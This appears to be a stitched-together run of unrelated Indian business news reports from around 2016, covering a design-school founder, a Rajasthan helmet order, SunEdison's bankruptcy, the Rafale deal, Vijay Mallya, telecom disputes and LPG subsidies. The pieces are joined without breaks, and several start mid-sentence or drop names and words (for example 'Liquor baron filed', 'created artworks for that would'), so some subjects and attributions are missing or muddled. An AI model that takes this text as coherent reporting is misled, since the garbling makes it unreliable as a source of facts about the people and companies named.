In the creative aspects of her work, the 31-year-old Mumbai resident has always felt more at home. After completing her studies in fine arts at the Parsons School of Design, New York, she began freelancing and taking up projects for friends. It was her father who nudged her in the more serious direction of private equity. "He pushed me to think bigger." So Kapoor began scouting for offbeat, less-explored ideas in businesses, and set up Do It Creations to launch or support them using the family office funds.

First, she started Brand Canvas, which created artworks for that would help convey their brand philosophy. This included graphic wall art, murals, decorative paintings, panel designs, and video installations. Then came Pressto, a high-end laundry and dry cleaning chain from Spain, which she helped bring into India some years ago. Next in line was perhaps her most ambitious idea, of founding a design school in association with her alma mater, Parsons, in 2013. It proved easier than expected as serendipitously the New York-based institution had at the time been looking to expand into South Asia.

At the appointed hour for our interview, Kapoor is still busy and suggests having a look at the school while she wraps up meetings. Her team offers a whirlwind tour of the fourth, fifth, sixth and eighth floors of a commercial complex in Lower Parel, which serve as the campus for her Indian School of Design and Innovation (ISDI). Work is still in progress as new wings and laboratories are being added. Last year, Microsoft Ventures partnered with the institution for a "creative accelerator" programme, encouraging a boost in enrolments. From 30 at the outset, the number of design students has climbed close to 500, says Kapoor.

The Lower Parel space also hosts a communication school, and a management school is set to be launched too. While it might have been easier to build a big campus in the suburbs, it was a conscious decision to have the school in the heart of the city, says Kapoor. She believes in educating students closer to the business ecosystem.

Kapoor says she decided to step into education in the years after her return from New York because more young people here were looking at edgy, alternative careers in fields such as media, advertising or hospitality, rather than merely opting for jobs. The startup culture was burgeoning too. In the climate of those times, she decided to set up a platform for both to flourish. Students are actively encouraged to create startups for incubation. So far, the school has spawned ventures, including an aggregator for fitness centres and an ed-tech startup that tailors content based on a student's level of proficiency.

Other than her schools, the entrepreneur is most excited about Awfis, a co-working space firm that she and Amit Ramani co-founded with an investment $10 million. The startup, named with a play on the words "awesome" and "office", spruces up underutilised spaces in buildings of prime areas and rents them to freelancers, startups and SMEs. Equipped with most trappings of modern workplaces, the spaces come with options of single desks, cabins, meeting rooms or larger offices. She describes it as "an Uber for commercial real estate." The idea is that users can plug and play there, instead of choosing to work out of, say, a Starbucks. To help them make that switch, there is even an unlimited supply of coffee and tea.

In its first year operating in Mumbai, Delhi and Bengaluru, Awfis has added 1,500 seats but plans to grow to 10,000 by the end of 2016. Apart from the usual mix of startups and SMEs, even corporate offices have opted to use Awfis' centres in Delhi, says the company. Kapoor notes there is a healthy presence of women entrepreneurs and employees in the startups signing up for spaces at Awfis. Hopefully, that will only increase going forward, she adds.

This set-up may be the first of its kind in India but co-working space startups have sprung up internationally. The most popular example is US-based WeWork, which offers a free keg of beer at its centres. The firm recently announced its intentions to come to India and according to some reports, is already in talks with local developers. Like WeWork, Awfis wants to create an environment where different entrepreneurs can network. It further offers to connect users with services like legal advisory, auditing, and cloud computing.

"There is a lot of enthusiasm among aspiring startup entrepreneurs but quantity outruns quality at the moment," says Kapoor. She continues to eye potential investments. Her approach is to look for gamechanging ventures that have scalability. She also evaluates ideas based on design, innovation and creativity.

The number of names under Kapoor's umbrella company is growing. As she gets busier, Kapoor's involvement in initial ventures such as Brand Canvas and Pressto has reduced. She shares the firm's progress with her father at dinnertime or over Sunday lunch. When the requirement for capital grows, she may look outside the family office fund to raise money. But as she talks with relish about making spaces young and energetic, and of the need for good business to have design sense, it is clear that finance will still finish second to creativity for Kapoor.
dealers in Rajasthan will halt sales of motorbikes and scooters from Saturday to protest against the state transport department's order of giving two helmets free of cost on every sold.

A dealer association has decided to move the Rajasthan high court against the state transport commissioner's order, which was enforced from the beginning of this month (April).

According to Rajasthan Motor Vehicles Rules, 1990, all two-wheeler riders and pillion riders have to wear helmets.

REVVING DOWN Rs 45,000: Cost of an entry-level 100-cc motorcycle



Cost of an entry-level 100-cc motorcycle Rs 1,800: or 4% dealers get as margin on the bike's sale



or 4% dealers get as margin on the bike's sale Two free helmets: Ordered by Rajasthan govt on sale of each two-wheeler. Two helmets will cost Rs 1,000 to the dealer and will eat into this margin



Ordered by Rajasthan govt on sale of each two-wheeler. Two helmets will cost Rs 1,000 to the dealer and will eat into this margin 84,000: Average sale of two-wheelers per month last year in Rajasthan



Average sale of two-wheelers per month last year in Rajasthan Will move court: Dealers are preparing to petition high court against the order

Vehicle manufacturers are expected to provide BIS (Bureau of Indian Standards)-approved helmets free of cost to buyers, said a circular issued by the Rajasthan transport department.

Two-wheelers dealers, who have been feeling the pinch of slow sales in the whole of last year, say that such an additional cost would only increase their financial burden.

"A pair of BIS-approved helmets cost Rs 950-1,100. Ours is a low-margin business and a dealer cannot absorb this additional cost. We have decided to move the high court and stop sales until the order is corrected, said a dealer of Hero MotoCorp.

Kerala, too, issued a circular last month asking two-wheeler dealers to provide a helmet, number plate, rear-view mirror, saree guard, and handle grab for pillion rider, free of cost to every two-wheeler buyer.

The Kerala transport commissioner also stated that dealers that did not comply with the rule stood to get their trade certificates cancelled.

Dealers in Kerala are providing a helmet and number plate for free with every two-wheeler.

Rajasthan is considered to be among the bigger two-wheeler markets (like Maharashtra, Uttar Pradesh, and Gujarat) which saw an average sale of 84,000 units per month last year.

Rajasthan is dominated by entry-level, high-mileage motorcycles, which account for 60 per cent of all-India sales.

Two-wheeler sales in the western Indian state is dominated by rural pockets, with bike market leader Hero MotoCorp clocking more than half the state's sales, followed by Honda, Bajaj Auto, and TVS Motor Company.

A Hero MotoCorp spokesperson said, We are hopeful of a quick and amicable solution to the situation.



Honda Motorcycle and Scooter India declined comment.

The directive by the two state governments making it mandatory to dealers to provide helmets is only an enforcement of the Central Motor Vehicles Rules (CMVR), 1989.

It is noticed that in Kerala the CMVR, Rule 138(F), is not being honoured.

This resulted in increased accidental deaths.

It has been clearly found that a lack of helmet on the rider is the main reason, stated a circular by the Kerala transport commissioner.

In February, the transport department of Maharashtra issued a circular following a Bombay High Court order which made it compulsory for bikers and pillion riders to wear a helmet.

While helmets are to be provided by the dealers in Maharashtra, they are, however, not to be given for free.

Motorcycle sales ended 2015-16 with a fall for the first time since 2007-08, at 10.7 million units, a decline of 0.24 per cent.

Scooter sales marked a growth of 12 per cent during 2015-16 to close at five million units, according to data by the Society of Indian Automobile Manufacturers.
A joint venture led by Industries and BG Group has agreed to hand drilling infrastructure from an abandoned gas field to ONGC, their junior partner, helping the state-run group develop a large gas reserve nearby, two company sources said.

Executives from Reliance, BG and ONGC signed an agreement in New Delhi on Tuesday night  providing respite in a months-long battle between the partners over the cost of closing the Tapti field off India's west coast.

The sources, with direct knowledge of the matter, declined to be named as they are not authorised to talk to the press.

ONGC plans to invest around 100 billion rupees ($1.50 billion) to develop its key Daman field, which is next to Tapti. This deal will help the group keep a lid on costs.

Reliance, ONGC and BG, now owned by Royal Dutch Shell, could not immediately be reached for comment.
Technologies Limited, has clocked Rs 10.4 crore profit during the quarter ended March 2016 as compared to Rs 8.9 crore, a year ago.

Revenue for the quarter was Rs 403.6 crore, an increase of 12 per cent over the same quarter last year.

Raju Vegesna, chairman of the company said that this is our third straight year of profitability with strong revenue growth, since we announced our plan to become an ICT Services provider.

Kamal Nath, chief executive of the company added that FY16 was company's third year of 3.0 journey and company's positioning as an ICT Solutions and services player have led to consistent growth in revenue, order book and profitability .

Company's Infrastructure as well as services business have contributed to the growth of each other.

The quantitative and qualitative performance coupled with healthy mix of run rate, annuity and large deals have strengthened company's base for a sustained growth in FY17 and beyond, he added.

M P Vijay Kumar, chief financial officer, Technologies said: "The discipline exhibited over successive quarters on cost control has helped to supplement the good progress on the revenue front. Our asset utilisation has also improved with increased demand for our solutions, both on the data centre and network side".
Renewable energy firm SunEdison has filed for bankruptcy protection in the US. Pashupathy Gopalan, president, India, tells T E Narasimhan reasons for the decision to file for bankruptcy. He says this will not impact Indian operations and the company will go ahead with 1.7-Gw additional capacity in two years. The company expects to finalise its $200-million raising plan in a month. Excerpts:



What are the key factors that led the company to file for bankruptcy?



The capital market in the US for the across the energy value chain has been extremely unprecedented in terms of how bad they have been. Recently one of the largest coal companies, Peabody, filed for Chapter 11. Many have been affected. It started with public markets being really tough with energy due to oil prices going lower and lower. At some point, the common investors who have invested into energy, started selling and redeeming profit when they started losing money. If I have to point out one reason, this is the reason.

When do you see things will come back to normal?



For us, now its a unique situation. Once you file Chapter 11, essentially you are getting the protection of the court to re-negotiate the debt. Creditors come to a re-organised company with a balance sheet in a right size and obligations are revised. Then you will emerge out of this as a normal company. Thats the course of Chapter 11.

SunEdison has also announced $300-million debtor and projection funding. We have filed the plan for court approval. It was a difficult decision, but we need to re-organise and restructure the company to be more effective.

How is it that India operations would remain unaffected, as they were dependent on the global operations financially?



Legally, this is (Chapter 11) for specific entity in the US. Our primary goal of Chapter 11 is to ensure the business can continue doing what it supposed to do. The idea is not to be disruptive to the business.

India is not affected because we are not an entitiy that is filing or an entity which has any of these issues. We will continue our normal course of business and go on to develop and build the projects.

SunEdison has seven years of experience in India. We have a built a team of more than 250 people, who have experience in developing solar projects not only in India but outside, also to the tune of around one Gw (gigawatt). Everybody in the market recognised that we are one of the best solar energy developers and our plants perform extremely well.

Then we have 1.7 Gw of projects to develop and build in India over the next two years. Its a massive capacity in solar. It has become a very interesting possibility to have someone (investors) come in and invest.

In the current circumstance, how bullish you are on raising equity to support your investment plans?



Historically, everything the company built with 100 per cent SunEdison's equity. Now we are saying we are open and we will do projects with partners. This is no different from what most other developers are doing in India.

I am confident that we can strike partnerships and in the next one month, we will finalise something. It is also a golden opportunity for investors that have been looking at investing in the Indian renewable energy sector.

The credibility we have created and the quality of power plant we created to the tune of 600-650 Mw (megawatt); they are testimony of our capability.

How much does SunEdison plan to raise as equity?



Around $150-200 million. In a month or two, we will finalise plans to take the 1.7 Gw of projects forward. There is a change in our strategy to look for additional source of equity because of the liquidity challenges which we are having at the parent level.

Analysts have said SunEdison will likely offload their projects considering their financial situation, or these projects may get cancelled and re-auctioned. What is your view?



We have signed a power purchase agreement (PPA), in which there is a certain deadline to deliver the project. In some cases, where there is land and PPA and in some cases it is simply PPA. Each time, when we sign the PPA, we have given bank guarantees typically in the range of Rs 30 lakh a Mw.

We have put more than Rs 500 crore of bank guarantee outstanding where we have to deliver the projects in the next 18 months. If we don't deliver, we will loose the money. No company wants to loose such big money and that is why the company is looking at raising equity.

SunEdison wanted to make India as HQ for South Asia operations. What happened to the plan?



In the last six months, I have been focussing a lot more on India. In other geographies, we are exploring various alternatives. For instance in Japan, the company exited. We will take a strategic view.

Given the current circumstances, how optimistic are you on Indian operations?



India is one of the largest geographies and second most important for us, after the US.
The multi-billion dollar deal to purchase 36 jets from France's Dassault made headlines on Tuesday with after a Parliamentary panel expressed its distress over the delay in completing the agreement.

Mystery around the deal increased when Defence Minister Manohar Parrikar said that the discussions were still going on. The minister informed the Rajya Sabha regarding the same in a written reply.

Interestingly, the statement comes weeks after the minister had said that the discussions were in an advanced stage and the Centre was likely to close it quite soon. That statement, in turn, came after the Bharatiya Janata Party announced on its Facebook page that the deal had been finalised at $8.8 billion.

On Tuesday, the Law Ministry put a fresh spanner in the works when it raised objections over certain aspects of the deal. It was reported earlier that the ministry had objected to several clauses in the deal on the grounds that these compromised the interest.

Here is how the deal has progressed since the BJP-led Democratic Alliance came to power:

1) July 2014: Less than two months after the new government came to power, Frances Minister for Foreign Affairs and International Development Laurent Fabius met Prime Minister Modi to push for the deal.

At that time, the deal was still for 126 aircraft, and French aviation major Dassault had emerged as the winner in the tender in 2012, beating Eurofighters Typhoon and Swedish Saabs Gripen-D light fighter. A month before the scheduled meeting, Dassault Aviation Chief Executive Eric Trappier had said that the company was hopeful of closing the deal by end 2014.

2) December 2014: India and France agreed to iron out issues like pricing and a guarantee clause for Dassault to fast-track the deal for 126 fighter jets.

The issue was discussed during delegation-level talks between Parrikar and his French counterpart, Jean-Yves Le Drian.

According to reports at the time, the deal was stuck over pricing and work-sharing. Additionally, Dassault was reported to be reluctant to stand guarantee for 108 fighters to be built by Hindustan Aeronautics Ltd (HAL) as far as liquidity damages and timelines for production were concerned.

Later the same month, Parliaments standing committee on defence sharply criticised the allocation of funds to the IAF, which didnt have any funding for purchases like the Rafale fighter.

3) January 2015: The Rafale deal ran into rough weather as Parrikar conceded there were serious problems in negotiating the purchase of the fighters. The Defence Minister said that additional Sukhoi-30MKI fighters, which HAL builds in Nashik, were adequate for the IAF in case it was decided not to procure the Rafale.

A fortnight later, he again said the Indian-built Russian fighter offered a viable alternative to Rafale, especially given that HAL was upgrading and overhauling the fighter and equipping it with state-of-the-art electronic warfare systems.

Following his comments, France decided to send an empowered delegation later that month to "solve all remaining issues" to salvage the contract.

4) February 2015: A senior ministry of defence (MoD) sources said that the proposal to buy Rafales was effectively dead.

During three years of negotiations between Dassault and MoD officials in the so-called "contract negotiation committee" (CNC), it had emerged that Dassault's bid was actually higher than that of the Eurofighter Typhoon, not lower as the MoD had announced on January 31, 2012.

Dassault replied that its pricing had remained the same from Day One and that it had not wavered from the request for proposal for the deal.

Amid the growing uncertainty, Parrikar and French Defence Minister Jean-Yves Le Drian held talks in a last-ditch effort to salvage the deal.

5) April 2015: Prime Minister Modi's trip to France brought some major developments in the deal.

On April 10, 2015, setting aside the norms of New Delhi's procurement rulebooks, India and France announced that the IAF would buy 36 Rafale fighters in fly-away condition. These would equip two IAF squadrons with 18 aircraft each.

6) May 2015: India and France decided to set up teams to work out details of the acquisition of 36 Rafale fighter jets in fly-away condition in a "time bound manner". The decision came following the meeting between Le Drian and Parrikar.

France reportedly offered India the 36 jets at the same price as its own armed forces.

As the month came to close, Parrikar confirmed that the original deal for 126 aircraft was effectively dead. Terming the proposed deal for 126 Rafale fighter jets as "economically unviable" and not required, Parrikar said the government would buy only 36 aircraft.

7) June 2015: French Defence Minister Jean-Yves Le Drian said the deal would be finalised within "two to three months".

8) January 2016: Nearly two years after the original announcement made by Modi and Hollande, French Ambassador Francois Richier said a "complex negotiation" process was going on for the deal.

Additionally, President Hollande said during a three-day visit to India that further discussions were needed on a prior inter-governmental agreement. During the trip, India signed an inter-governmental agreement with France to buy the planes.

However, leaders of both countries said that there was still work to do to finalise financial terms.

9) February 2016: It emerged that issues such as pricing still remained unresolved. Parrikar stated that negotiations were deadlocked on the issue of price, and that no deal would be signed until the price was right.

10) March 2016: The Union Law Ministry raised questions over several clauses in the multi-billion deal, saying they 'compromise' Indias interests.

Things seemed to take a turn for the worse, when a senior French official told Business Standard on condition of anonymity: If some people in the MoD (the ministry of defence) do not want to allow the Rafale deal to go through, so be it. We are currently building it for Egypt and Qatar, and we could have another customer in Malaysia.

As the month came to a close, Parrikar admitted that the pace of negotiation with France was "not enough". However, he did express hope that the deal would be concluded soon.

11) April 2016: Reports emerged that the negotiations had entered the "final stages" as both India and France managed to narrow down their differences over the pricing.

"The effort is to bring down the price to less than Euros 8 billion (Rs 59,000 crore)," these sources said, adding that the French side had pretty much agreed on the price.

On April 19, Minister of State for Defence Rao Inderjit Singh said that most of the hitches in the multi-billion Euro deal had been addressed and the remainder would be cleared in the next meeting of the Defence Acquisition Council scheduled for April 21.
China today objected to the visa given by the Indian government to World Uyghur Congress (WUC) leader Dolkun Isa, saying he is a "terrorist" on Interpol's Red Corner and it is the obligation of all countries to bring him to justice.

"What I want to point out is that Dolkun is a terrorist in red notice of the Interpol and Chinese police. Bringing him to justice is due obligation of relevant countries," Foreign Ministry spokesperson Hua Chunying said.

There are reports that WUC leaders including Dolkun were given permission to meet the Dalai Lama later this month.

Read more from our special coverage on "CHINA"

India's decision to permit WUC leaders whom China regards as backers of terrorism in its volatile Muslim-dominated Xinjiang province was reported to be in response to Beijing's blocking a ban on Jaish-e-Muhammad chief Masood Azhar in the UN.

Xinjiang, which has over 10 million Uyghur population of Turkik origin Muslims, was on the boil for several years over Uyghur protests against the large-scale settlements of Hans from different part of the country.

China blames East Turkistan Islamic Movement (ETIM), a militant Islamist group, for terrorist attacks in Xinjiang and other parts of the country.
Liquor baron filed an affidavit to the Supreme Court through his lawyers on Thursday stating his objections to requests made for disclosure of his foreign assets.

Mallya, in the UK since early March, has refused to show up despite several summons by the Enforcement Directorate (ED), leading to a non-bailable warrant against him as well as suspension of his passport.

Mallya and Kingfisher Airlines are being investigated for several alleged acts of fraud and money laundering in connection with Rs 9,000-crore loans issued by several banks.

According to the ED, Mallya has refused to co-operate on multiple occasions, leading to the Supreme Court commenting critically on his conduct and requesting him to disclose all his foreign-held assets.

In response to this, Mallya in his affidavit denied any liability to furnish the details because he was a non-resident Indian and his foreign assets were not subject to scrutiny by Indian authorities.

Along with the affidavit, Mallya stated the value of his foreign assets to the court in a sealed letter requesting confidentiality. He also made a declaration that no funds from Kingfisher Airlines had been used to acquire any of his assets abroad. The ED has authority under the Prevention of Money Laundering Act, 2002, to conduct enquiries, summon and require filing of information. The Act authorises ED to investigate cross-border offences and does not limit its jurisdiction to India. Section 3 of the Act, which defines money laundering, does not fetter the definition to acts committed in India. The Act also contains provisions for freezing of property involved in money laundering and for enforcement in foreign jurisdictions through letters of request.
Pankaja Munde-Palve's 18 months as the rural development minister in the Maharashtra government have not been easy. The eldest of the three daughters of the late Gopinath Munde, one of the tallest leaders of the Bharatiya Janata Party (BJP) from the state, she has found herself embroiled in one controversy after another since the Devendra Fadnavis-led government came to power in October 2014.

After her father's death in June 2014 in an accident, Munde-Palve, then an MLA from the Parli constituency, campaigned hard for her party in the assembly elections, travelling 3,500 km across the state to address 600 rallies in 79 constituencies. It was soon acknowledged that she had inherited her father's ability to connect with the masses. Her supporters even demanded that the two-time legislator be made the chief minister.

A year-and-a-half later, her father's admirers are now saying that she has shown political immaturity. This disillusionment was accentuated by the recent controversy when she was caught clicking and posting a selfie on Twitter while on a tour to drought-hit Latur. The social media outrage was immediate and she was criticised for indulging in "drought tourism".

The intensity of criticism might have something to do with her lineage. Her father was a grassroots leader who put BJP on the electoral map of Maharashtra. If Sharad Pawar was the unquestioned leader of the dominant Marathas, Munde carved out a space for himself and his party among the backward castes, like the Vanjara (his community), the Mali and the Dhangar. Munde was a leader of the farmers, the poor and the backward castes. Munde-Palve was expected to fill in his shoes.

Munde-Palve, 36, is among the rising quartet of women dynasts in Maharashtra politics. She shares that space with her sister, Pritam, her first cousin, Poonam Mahajan, and Pawar's daughter, Supriya Sule, all of whom are Lok Sabha members. Of them all, Munde-Palve is looked at as a mass leader. BJP President Amit Shah had recognised this when he sent her on a yatra across the state after her father's death - unofficially crowning her as his successor.

While not offered the chief ministerial chair, she was entrusted with important portfolios such as rural development, water conservation, employment guarantee scheme and women and child development. She is also the guardian minister of Latur and its neighbour, Beed (once her father's and now her sister's constituency).

Ever since, she has made headlines for the wrong reasons. Within months of taking over as a minister, she was accused of passing contracts worth ~206 crore for the purchase of chikki candy and khichdi for anganwadi children in a single day. The produce was allegedly found to be of poor quality.

Then, probably unmindful of the scrutiny that a politician is subjected to in the age of camera phones, she was clicked wading barefoot through a muddy stretch on a visit to the Parbhani district with someone carrying her footwear. She said the person wasn't a government staffer but a private employee. There have also been allegations that her ministry flouted rules, which she denied, to award a dam construction project.

Recently, a newspaper reported that even after more than a year of becoming a minister she had continued to be on the boards of companies owned by her husband. The model code of conduct demands that ministers quit such posts within two months of taking over their new responsibility. She was also criticised for stating that water supply to breweries and distilleries in Maharashtra's drought-hit areas should continue. It was pointed out that her husband, Amit Palve, is a director in an Aurangabad-based distillery and that she herself was on its board till June 2014.

Munde-Palve has tried to defend herself through every crisis. For the benefit of those who criticised her selfie moment, she said: "Thank you my Beed . I won by-election against all odds. Really public decides. Final judge is grassroots . Last 40 years they have blessed us (the Munde family)."



Munde-Palve would hope that the of Beed would not forget her father in a hurry and give her a chance while she takes her time to learn the ropes.
The poor enforcement and compliances to the environment laws and rules in had resulted in 50 industries coming up without obtaining the required consent from the state-run Environment Conservation Board (CECB).

The 31 industries started production six months to five years before obtaining consent from the CECB, whereas 13 industries had started production five to ten years before getting consent, the report of Comptroller and Auditor General of India on General, Social and Economic (Non-PSUs) sectors said.



The remaining six industries started the production 10 years before obtaining the required consent from the board.

The CAG report had pointed out serious flaws in the working of the CECB. This indicates the failure on the part of industries and the CECB to ensure compliance of the environment laws, the report said, adding that the reason for not obtaining of consent was mainly due to inadequate monitoring by the CECB and the dearth of the staff.

The report said that 63 per cent vacancies in respect of post of senior scientific officer, chief chemist, scientist, junior scientist and chemists were lying vacant in the board. Besides, the board had also failed to fill 18 per cent and 25 per cent of the posts of lab attendant/attendant and other staff respectively.



The state government had told the CAG that it would be taking necessary action in connection with the issues.



The CAG report said 197 small industries have not renewed the consent for one month to 174 months.


The Cellular Operators Association of India on Friday hit back at the Telecom Regulatory Authority of India over its comments on cartelisation in the industry in the Supreme Court.

The COAI and several Indian telecom service providers are deeply dismayed by the misplaced, baseless and rather misleading remarks made against them in the Supreme Court by the Trai in respect of business practices and ethics, insinuating that the industry has indulged in cartelisation, the COAI said in a statement.

On Thursday, Attorney-General Mukul Rohatgi had said, "We have a cartel of four-five big companies and they force consumers to sign on documents at the time of getting connections, which say the operator will not be responsible for call drops. Rohatgi also said telecom players were not upgrading infrastructure to ensure disruption-free calling and justified the Trai's decision to impose a penalty.

Telecom companies and the Trai have been engaged in a legal battle over the regulators order for compensation over dropped calls. The companies had challenged the order in the High Court, which upheld the penalty, and they appealed against it in the Supreme Court.

We request and urge the authorities to refrain from the use of such harsh and unsubstantiated language at any forum against telecom service providers, which is not only uncalled for but also projects them in a poor light," the COAI statement said.

This is more so especially when one takes into account the very substantial contributions made to the Indian socio-economic landscape through generation of multiple tax revenues, employment generation as well in acting as a major growth engine and driver to the Internet economy, it added.
The department of telecommunications (DoT) has amended the Unified Access Service licence agreement, allowing interconnection of Internet Protocol (IP)-based networks with telecom networks.

This will enable Reliance Jios users based on a Voice over LTE fourth-generation technology (4G) network to make calls to those of other operators and vice versa.

This will enable interconnection among upcoming networks which will be based on IP, mainly 4G technology. In February, Trai recommended changes to unified licence to pave the way for interconnection at IP level between licensed operators.

RJio launch: Reliance Jio is on course for a commercial rollout of its services this year. In its quarterly results release, the company said it was the first telecom operator to hold pan-India Unified License and holds 751.10 MHz of liberalised spectrum across the 800-MHz, 1,800-MHz and 2,300-MHz bands.

The company has entered into agreements with Anil Ambani-controlled Reliance Communications for change in spectrum allotment in the 800-MHz band from RCom to RJIL across nine circles and sharing of spectrum in the 800-MHz band across 17 circles



The department of telecommunications (DoT) has approved spectrum sharing between Reliance Communications (RCom) and Reliance Jio in nine of the countrys 22 telecom circles.

This will allow both the companies to offer 4G services on the 10 MHz block in the 800-MHz band after the sharing arrangements. The nine circles are Mumbai, UP (East), Madhya Pradesh, Haryana, West Bengal, Odisha, Himachal Pradesh, Assam and North East, according to a filing by the company on the Bombay Stock Exchange.

We wish to inform that DoT has taken on record 800-MHz spectrum sharing in seven circles of the company and two of Reliance Telecom, a wholly-owned subsidiary with RJIL, RCom said in a regulatory filing.

For the remaining 13 circles, RJio plans to buy spectrum from RCom by paying about Rs 4,500 crore to the department. RCom has already liberalised its spectrum by paying Rs 6,000 crore to the government. This fee would apply to all circles where airwaves werent sold via auctions and then operators can use the spectrum for deploying any technology.

In January this year, the two companies had announced a plan for spectrum sharing and trading for 800-850-MHz spectrum, giving RJio an edge over the competition. The deal will give RJio a pan-India 4G network on the 800-850-MHz frequency, along with 2,300-MHz it already owns. The lower frequency offers better indoor coverage and provides seamless voice services through Voice over LTE (VoLTE). RJio has already soft-launched its 4G services.

A 10 MHz block can provide up to 80 mbps speed. With the 800-MHz spectrum advantage, this can deliver internet services faster than many wireline broadband/Wi-Fi services offered today, at a much more affordable cost. The subscriber capacity also multiplies exponentially when spectrum is combined into a single block of 10 MHz, say sources.
Cooking gas consumers who have voluntarily surrendered their subsidy under the GiveItUp campaign will be allowed to reclaim their subsidy entitlement after a gap of a year, Minister of State for Petroleum and Natural Gas Dharmendra Pradhan said.

So far, nearly 11.3 million consumers have shed their LPG subsidy responding to Prime Minister Narendra Modis call to surrender subsidy for the benefit of their poor brethren.

GiveItUp consumers can take back their subsidy but only after one year. But, our analysis has shown that economics is not a consideration for people who have participated in the GiveItUp campaign, said Pradhan, responding to a question on what happens if an individual desires to reclaim subsidy when crude prices go up in future, jacking up the quantum of the dole.

Speaking at an event to announce participation of 11 million LPG consumers in the GiveItUp campaign here, Pradhan said he hoped households would not use subsidy even if the quantum of the LPG dole goes up to Rs 5,000 annually from the current Rs 1,200 a year. The subsidy given by the government on every cylinder of LPG has come down to Rs 90 compared to around Rs 350 when GiveItUp was launched a year ago.

Pradhan said Maharashtra, Uttar Pradesh, Delhi, Karnataka and Tamil Nadu have topped the list of states and Union territories with the highest number of GiveItUp consumers, but refused to share the names of states in the bottom of the list.

Around six million poor households have been given new LPG connections in the past year as a result of 11.3 million surrendering their subsidy, he added.

The minister also announced that PM Modi would officially launch the Pradhan Mantri Ujjwala Yojana from Balia district in Uttar Pradesh on May 1. The scheme aims at providing 15 million LPG connections to below-poverty-line households in the current financial year (2016-17) at a cost of Rs 2,000 crore.

The government would use Socio-Economic Caste Census (SECC) database to identify the beneficiary base of the scheme, Pradhan said.

The oil ministry expects the demand for LPG in the country to go up to 30 million tonnes (mt) per annum in the next three years from the current 21 mt as a result of the growth in the consumer database due to the Ujjwala scheme, that aims to provide 50 million new connections in three years at a cost of Rs 8,000 crore. As a result, Indias import dependence for LPG supply might go up to 55 per cent from the current 40 per cent, Pradhan noted.

He also said that the petroleum ministry would soon take a decision on introducing a common tax rate for all the three kinds of LPG users  domestic, non-domestic (commercial) and auto industrial  in the interest of administrative convenience. Also, the ministry will soon expand in tier-II cities its initiative to seek affidavits stating income levels from LPG consumers. The idea is to stop LPG subsidy for individuals with a taxable income of above Rs 10 lakh a year.
Niti Aayog CEO on Friday emphasised the need for India to grow by 9-10 per cent every year for at least three decades. This, he, said could be instrumental in taking Indo-US ties to the next level. He asked the US to open up its services sector for India, which has been liberalising its economy.

"It is possible to provide greater momentum, greater fillip to Indo-US relationship if India continues to grow rapidly. India is growing at about 7.5 per cent per annum. It's an oasis of growth in the midst of a very barren economic landscape," Kant said at an event organised by the American Chamber of Commerce in India.

"But, the challenge for India is to grow at 8-9-10 per cent per annum, year after year, for three decades or more. Only when we grow at those rates, will our (Indo-US) relationship get strengthened," he added.

Kant also spoke about the importance of taking several measures for India to grow at this clip. He said the US should do its bit for imparting greater momentum to the bilateral ties.

Another factor that could aid such growth is to make India an easy country to do business with, Kant stressed. "We need to make things very easy, and this government is determined to do this... We have done away with a number of approval processes at the central level."

In a presentation to Prime Minister Narendra Modi, Kant had on Thursday said growing by 10 per cent a year would transform India to become a $10-trillion economy with no poverty in 2032.

The economy is officially expected to have grown 7.6 per cent in 2015-16. The government expected the economy to expand 7-7.75 per cent this year. However, it also keeping its fingers crossed for the India Meteorological Department's prediction of above-normal monsoon rains to come true, in which case the economy might grow 8-8.5 per cent for 2016-17. Only once did India's economy witness a two-digit growth since independence - 10.2 per cent in 1988-89.

Kant was of the view that although Indo-US relationship has done "very well" during the past year, it is yet to be fully tapped and can be taken to far greater heights.

Kant acknowledged that the more the market opens up, the greater is the scope for manufacturing expansion. He called upon the US to roll out a red carpet to the Indian service sector and software companies.

"While I advocate free trade for India, I must say while India is becoming more and more open, the US should also open its services sector for Indians to go and work there. There can't be a half-way house," he noted.

Last year, the US Congress imposed a special fee of up to $4,500 on H-1B and L-1 visas - popular among Indian IT companies - to fund a 9/11 healthcare Act and biometric tracking system. While agreeing on the $1.1-trillion spending Bill, Congressional leaders decided to impose a special fee of $4,000 on certain categories of H-1B visas and $4,500 on L-1 visas.

Kant said India needs to realise that we are living in a globalised world and it has to be integral part of the global supply chain.

Speaking on the same occasion, US Ambassador to India Richard Verma said India and the US have taken their commercial relationships to a strategic level.
The Maharashtra government, faced with drought conditions in large parts of the state, might compel the use of recycled water by industrial units.

Industries minister Subhash Desai told this newspaper, "The industries department has initiated a study in this regard, for industries around big cities like Mumbai, Navi Mumbai, Thane, Kalyan-Dombivli and those in industrial estates set up by the Maharashtra Industrial Development Corporation (MIDC). Sewage water can be recycled.''

Water scarcity would be an issue in the future, too, he said. Recycled water would be the best option.

Fertilider units, for example, need water to run boilers. They can use recycled water instead of natural water, he said. A scheme can be developed on the lines of common effluent treatment plants, with participation of MIDC. It could be developed on a public-private participation model.



There are about 230 industrial estates run by the Maharashtra Industrial Development Corporation, having 100,000 units. Many of these are presently facing a big shortage for their water need.

For those in MIDC-run estates, said the minister, digging of borewells would be permitted.
Jalandhar-based Capital Local Area Bank, which started off as a hire-purchase financier for commercial vehicles in 1964, is set to graduate to a small bank this Sunday.

When most in India are grappling with asset quality, profitability and capital adequacy issues, Capital Local Area bank boasts of a clean balance sheet. And, leading the bank from the front is its managing director, Sarvjit Singh Samra, who was among the first 10 applicants to get a licence from the Reserve Bank of India (RBI) to start a small bank. Despite hailing from the Doaba belt of Punjab, known for its non-resident India diaspora, Samra (51) never had the desire to migrate. After his MBA from Guru Nanak Dev University, Amritsar, in 1986, he joined his family business of hire-purchase financing of commercial vehicles.

RBI had issued guidelines in August 1996 for setting up local area in the private sector (with minimum paid-up capital of Rs 5 crore and area of operation restricted to three geographically contiguous districts). Samra conceptualised Capital Local Area Bank, obtained necessary approvals, including a licence from RBI, and forayed into organised banking in January 2000 from Nakodar in Jalandhar district.

As private those days were required to open branches in rural areas, Samra decided to focus on low-cost, small-ticket, rural markets.

Keeping in mind the profile of customers, Capital Local Area Bank offered attractive features. For one, one could open a savings bank account with Rs 100. Its branches were open on all seven days a week. Also, the bank hired local talent in all branches. Thanks to its sound due diligence process, the bank remained insulated from economic slowdown and stressed assets.

